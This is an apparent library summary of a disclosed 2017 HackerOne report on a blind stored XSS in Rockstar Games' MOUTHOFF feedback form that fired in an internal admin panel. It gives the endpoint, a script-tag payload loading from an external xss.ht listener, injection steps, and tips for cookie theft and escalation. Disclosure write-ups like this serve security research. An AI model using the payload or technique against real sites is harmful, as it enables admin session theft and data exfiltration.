# [IMP] - Blind XSS in the admin panel for reviewing comments

Blind stored XSS via the MOUTHOFF feedback form fields, firing in Rockstar's internal admin comment-review panel and enabling admin session theft.

- Payout: $650
- Severity: medium
- Program: Rockstar Games
- Credited: anshuman_bh
- Disclosed: 2017-03-17
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/197337
- Library page: https://bugbountylibrary.com/r/h1%3A197337
- Tags: domain:web impact:ato impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:medium technique:blind technique:oob-exfil vuln:xss

**Target:** MOUTHOFF feedback submission endpoint /mouthoff/mouthoff/submit.json and internal admin review panel
**Root cause:** User-supplied name/subject/body fields are stored unsanitized and rendered unescaped in the internal admin comment-review CMS, causing stored XSS when an admin views submissions.
**Steps:**
1. POST to `https://www.rockstargames.com/mouthoff/mouthoff/submit.json` with form-urlencoded body
2. Inject payload `"><script src=https://abhartiya.xss.ht></script>` into `name`, `subject`, and `body` params
3. Submit the feedback; payload is stored server-side
4. Wait for an admin to open the comment-review panel where the payload executes in the internal domain context
5. Blind XSS callback fires to the attacker's xss.ht listener, confirming execution and exfiltrating cookies/DOM
**How found:** Researcher identified the public feedback form as a stored-input sink and used a blind XSS listener (xss.ht) to detect execution in an unseen internal admin panel.
**Exploitation:** Attacker submits the feedback form with script payloads in multiple fields; no social engineering needed. When an internal admin reviews/approves comments, the payload executes in the admin's browser on an internal Rockstar domain, allowing session cookie theft, viewing other users' data, and internal domain/path disclosure.
**Escalation:** Potential escalation to AngularJS injection-based RCE since the CMS appears to be Angular (ng-app), plus account takeover via cookie theft.
**Insight:** Public feedback/contact forms that feed an internal moderation CMS are prime blind XSS targets; inject into every field (name, subject, body) and use an OOB listener since execution happens only when staff review submissions.